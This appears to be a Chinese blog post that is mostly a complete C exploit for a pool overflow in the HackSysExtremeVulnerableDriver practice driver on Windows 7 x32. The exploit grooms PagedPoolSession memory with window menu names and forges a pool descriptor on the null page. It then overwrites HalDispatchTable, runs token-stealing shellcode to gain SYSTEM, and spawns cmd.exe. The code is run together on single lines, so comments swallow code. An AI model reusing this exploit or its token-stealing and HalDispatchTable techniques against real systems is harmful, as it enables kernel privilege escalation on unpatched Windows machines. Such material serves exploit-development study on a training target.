草稿没了就和难受 简单写点把。。环境win7x32

PagedPoolSession对应33，微软没有详细介绍，只是说不推荐用，这种内存可以通过窗口菜单的名字来创建，大小在win7sp0x32下我试着好像不能超过0x200，而在win7sp1x64上我试着可以超过0x300

过程没了直接贴exp吧

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
LRESULT CALLBACK MainWProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)(HANDLE ProcessHandle,PVOID* BaseAddress,ULONG ZeroBits,PULONG AllocationSize,ULONG AllocationType,ULONG Protect);
#define MAXIMUM_FILENAME_LENGTH 255 
typedef struct SYSTEM_MODULE {ULONG                Reserved1;ULONG                Reserved2;
#ifdef _WIN64ULONG				Reserved3;
#endifPVOID                ImageBaseAddress;ULONG                ImageSize;ULONG                Flags;WORD                 Id;WORD                 Rank;WORD                 w018;WORD                 NameOffset;CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION {ULONG                ModulesCount;SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS {SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,__inout PVOID SystemInformation,__in ULONG SystemInformationLength,__out_opt PULONG ReturnLength);
VOID Shllecode() {_asm{int 3pop edipop esipop ebxpushadmov eax, fs: [124h]		// Find the _KTHREAD structure for the current threadmov eax, [eax + 0x50]   // Find the _EPROCESS structuremov ecx, eaxmov edx, 4				// edx = system PID(4)// The loop is to get the _EPROCESS of the systemfind_sys_pid :mov eax, [eax + 0xb8]	// Find the process activity listsub eax, 0xb8    		// List traversalcmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PIDjnz find_sys_pid// Replace the Tokenmov edx, [eax + 0xf8]mov[ecx + 0xf8], edxpopadint 3ret}}
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource,OUT PULONG Interval);
int main()
{WNDCLASSEX wnd[10000]{};HWND extraMemFindWindow[10000];WCHAR temp2[0x30];//size=0x40memset(temp2, 0x41, 0x30);int num{};char j = 1;ULONG inx{};printf("CreateWindow....... \n");for (size_t i = 0; i < 10000; i++){wnd[i].cbSize = sizeof(wnd[i]);wnd[i].lpfnWndProc = MainWProc;//防止重名if (j == '0'){j++;}else if (j == 0xff || j==0){j = 1;inx++;}temp2[inx] = j;j++;wnd[i].lpszMenuName = temp2;//防止重名if (j == '0'){j++;inx++;}else if (j == 0xff || j == 0){j = 1;inx++;}j++;temp2[inx] = j;wnd[i].lpszClassName = temp2;RegisterClassEx(&wnd[i]);extraMemFindWindow[i] = CreateWindowEx(0, wnd[i].lpszClassName, NULL, 20, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);if (i> 10000 -5){num= i;break;}}printf("DestroyWindow....... \n");for (size_t i = 0; i < num; i += 0x10) {for (size_t j = 0; j < 8; j++){UnregisterClass(wnd[i+j].lpszClassName, 0);DestroyWindow(extraMemFindWindow[i+j]);extraMemFindWindow[i] = 0;}}HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }if (hDriver == INVALID_HANDLE_VALUE) {printf("[!] Unable to get a handle on the device\n");getchar();return(-1);}HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");if (hNtdll == INVALID_HANDLE_VALUE) {printf("Could not open handle to ntdll. \n");CloseHandle(hDriver);return 1;}PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");;if (!NtAllocateVirtualMemory) {printf("Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());return 1;}PVOID baseAddress = (PVOID)0x1;SIZE_T regionSize = 0x2500;NTSTATUS ntStatus = NtAllocateVirtualMemory(GetCurrentProcess(),&baseAddress,0,&regionSize,MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");if (query == NULL) {printf("GetProcAddress() failed.\n");return 1;}ULONG len = 0;query(SystemModuleInformation, NULL, 0, &len);PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);if (pModuleInfo == NULL) {printf("Could not allocate memory for module info.\n");return 1;}query(SystemModuleInformation, pModuleInfo, len, &len);if (len == 0) {printf("Failed to retrieve system module information\n");return 1;}PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;kernelImage = strrchr(kernelImage, '\\') + 1;printf("Kernel Image Base 0x%X\n", kernelImageBase);printf("Kernel Image name %s\n", kernelImage);HMODULE userBase = LoadLibraryA(kernelImage);PVOID dispatch = (PVOID)GetProcAddress(userBase, "HalDispatchTable");dispatch = (PVOID)((ULONG)dispatch - (ULONG)userBase + (ULONG)kernelImageBase);printf("User Mode kernel image base address: 0x%X\n", userBase);printf("Kernel mode kernel image base address: 0x%X\n", kernelImageBase);printf("HalDispatchTable address: 0x%X\n", dispatch);ULONG what = (ULONG)&Shllecode;ULONG where = (ULONG)((ULONG)dispatch + sizeof(PVOID));HANDLE hDefragEvents[0x2500];HANDLE hPoolGroomEvents[0x2500];RtlZeroMemory((PCHAR)0x0, 0x1300);/*/ dt - r nt!_POOL_DESCRIPTOR*/* (PCHAR)0x0 = 1;//+ 0x000 PoolType         : PagedPool = 0n1*(PCHAR)0x4 = 1;//+0x004 PagedLock        : _KGUARDED_MUTEX*(PCHAR*)0x100 = (PCHAR)0x1208;//+ 0x100 PendingFrees : 0x1208 //This address will be written to the targetted 'where' address*(PCHAR*)0x104 = (PCHAR)0x20;//+0x104 PendingFreeDepth : 0x20 - the pending free needs to be atleast 32 to so that ExFreePoolWithTag actually free's everythingfor (unsigned int i = 0x140; i < 0x1140; i += 8) {*(PCHAR*)i = (PCHAR)where - 4;}//+0x140 ListHeads : [512] _LIST_ENTRY//+ 0x000 Flink : (PCHAR)where - 4//+ 0x004 Blink : (PCHAR)where - 4//And repeat...//The addresses of the object on the PendingFrees list which is currently 0x1208 will be written to the 'where' address when it is linked into the fron of the list//Create fake Pool headers*(PINT)0x1200 = (INT)0x060c0a00;*(PINT)0x1204 = (INT)0x6f6f6f6f;//dt nt!_POOL_HEADER 0x1200//+0x000 PreviousSize     : 0y000000000(0)//	+ 0x000 PoolIndex : 0y0000101(0x5)//	+ 0x002 BlockSize : 0y000001100(0xc)//	+ 0x002 PoolType : 0y0000011(0x3)//	+ 0x000 Ulong1 : 0x60c0a00//	+ 0x004 PoolTag : 0x6f6f6f6f//	+ 0x004 AllocatorBackTraceIndex : 0x6f6f//	+ 0x006 PoolTagHash : 0x6f6f*(PCHAR*)0x1208 = (PCHAR)0x0; //the next pointer for the pending free list, as this is NULL it will stop free'ing*(PINT)0x1260 = (INT)0x060c0a0c;*(PINT)0x1264 = (INT)0x6f6f6f6f;//dt nt!_POOL_HEADER 0x1260//+0x000 PreviousSize     : 0y000001100(0xc)//	+ 0x000 PoolIndex : 0y0000101(0x5)//	+ 0x002 BlockSize : 0y000001100(0xc)//	+ 0x002 PoolType : 0y0000011(0x3)//	+ 0x000 Ulong1 : 0x60c0a0c//	+ 0x004 PoolTag : 0x6f6f6f6f//	+ 0x004 AllocatorBackTraceIndex : 0x6f6f//	+ 0x006 PoolTagHash : 0x6f6fchar buf[0x1fc]{};memset(buf, 0x42, 0x1f8);LPDWORD dwBytesOut{};* (DWORD32*)(buf + 0x1f8 + 0x00) = 0x060a0a40;//覆盖四字节让堆从0页释放/*2: kd > dt nt!_POOL_HEADER fd521ab0+ 0x000 PreviousSize     : 0y001000000(0x40)+ 0x000 PoolIndex : 0y0000000(0)   修改后等于5+ 0x002 BlockSize : 0y000001010(0xa)+ 0x002 PoolType : 0y0100011(0x23) 修改后等于3///////////////+ 0x000 Ulong1 : 0x460a0040+ 0x004 PoolTag : 0x6d717355+ 0x004 AllocatorBackTraceIndex : 0x7355+ 0x006 PoolTagHash : 0x6d71*///如果没申请0页会这样/*Access violation - code c0000005(!!!second chance !!!)nt!ExFreePoolWithTag + 0x814:8416081a 8b9380000000    mov     edx, dword ptr[ebx + 80h]2 : kd > dd ebx00000000 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?00000010 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?00000020 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?*///拷贝前断点bp hevd+450FEDeviceIoControl(hDriver, 0x222043, buf, 0x1fc, 0, 0, dwBytesOut, NULL);printf("DestroyWindow....... \n");DebugBreak();for (int i = 0; i < num; i++) {if (extraMemFindWindow[i]){NTSTATUS ntStatus = NtAllocateVirtualMemory(GetCurrentProcess(),&baseAddress,0,&regionSize,MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);RtlZeroMemory((PCHAR)0x0, 0x1300);/*/ dt - r nt!_POOL_DESCRIPTOR*/*(PCHAR)0x0 = 1;//+ 0x000 PoolType         : PagedPool = 0n1*(PCHAR)0x4 = 1;//+0x004 PagedLock        : _KGUARDED_MUTEX*(PCHAR*)0x100 = (PCHAR)0x1208;//+ 0x100 PendingFrees : 0x1208 //This address will be written to the targetted 'where' address*(PCHAR*)0x104 = (PCHAR)0x20;//+0x104 PendingFreeDepth : 0x20 - the pending free needs to be atleast 32 to so that ExFreePoolWithTag actually free's everythingfor (unsigned int i = 0x140; i < 0x1140; i += 8) {*(PCHAR*)i = (PCHAR)where - 4;}//+0x140 ListHeads : [512] _LIST_ENTRY//+ 0x000 Flink : (PCHAR)where - 4//+ 0x004 Blink : (PCHAR)where - 4//And repeat...//The addresses of the object on the PendingFrees list which is currently 0x1208 will be written to the 'where' address when it is linked into the fron of the list//Create fake Pool headers*(PINT)0x1200 = (INT)0x060c0a00;*(PINT)0x1204 = (INT)0x6f6f6f6f;//dt nt!_POOL_HEADER 0x1200//+0x000 PreviousSize     : 0y000000000(0)//	+ 0x000 PoolIndex : 0y0000101(0x5)//	+ 0x002 BlockSize : 0y000001100(0xc)//	+ 0x002 PoolType : 0y0000011(0x3)//	+ 0x000 Ulong1 : 0x60c0a00//	+ 0x004 PoolTag : 0x6f6f6f6f//	+ 0x004 AllocatorBackTraceIndex : 0x6f6f//	+ 0x006 PoolTagHash : 0x6f6f*(PCHAR*)0x1208 = (PCHAR)0x0; //the next pointer for the pending free list, as this is NULL it will stop free'ing*(PINT)0x1260 = (INT)0x060c0a0c;*(PINT)0x1264 = (INT)0x6f6f6f6f;//dt nt!_POOL_HEADER 0x1260//+0x000 PreviousSize     : 0y000001100(0xc)//	+ 0x000 PoolIndex : 0y0000101(0x5)//	+ 0x002 BlockSize : 0y000001100(0xc)//	+ 0x002 PoolType : 0y0000011(0x3)//	+ 0x000 Ulong1 : 0x60c0a0c//	+ 0x004 PoolTag : 0x6f6f6f6f//	+ 0x004 AllocatorBackTraceIndex : 0x6f6f//	+ 0x006 PoolTagHash : 0x6f6fUnregisterClass(wnd[i].lpszClassName, 0);DestroyWindow(extraMemFindWindow[i]);}}printf("shellcode....... \n");//When the kernel tries to execute nt!HalDispatchTable+0x4 it will end up executing at 0x1208//Which has been preloaded with opcodes to execute our shellcode and then return/*00001208 b8ADDRESS      mov     eax, what0000120d ffd0            call    eax0000120f c9              leave00001210 c3              ret*/*(PUCHAR)0x1208 = 0xb8;*(PINT)0x1209 = (INT)what;*(PUCHAR)0x120D = 0xff;*(PUCHAR)0x120E = 0xd0;*(PUCHAR)0x120F = 0xc9;*(PUCHAR)0x1210 = 0xc3;NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtdll, "NtQueryIntervalProfile");if (!NtQueryIntervalProfile) {printf("Failed Resolving NtQueryIntervalProfile. \n");return 1;}ULONG interval = 1;NtQueryIntervalProfile(2, &interval);STARTUPINFO si = { sizeof(STARTUPINFO) };PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(si));si.cb = sizeof(si);ZeroMemory(&pi, sizeof(pi));CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);getchar();return 0;
}

总结：创建窗口的时候窗口类名字和菜单名字不能一样，太长也不行，不能有0截断否则内存大小不理想，而光销毁窗口不够还要销毁菜单，内存才释放，而且要在每销毁一次窗口就要申请一下0页构造堆，不然，我也不知道为啥，不这样他就会崩溃，然后我看0页没内存显示，不一一细说了。。完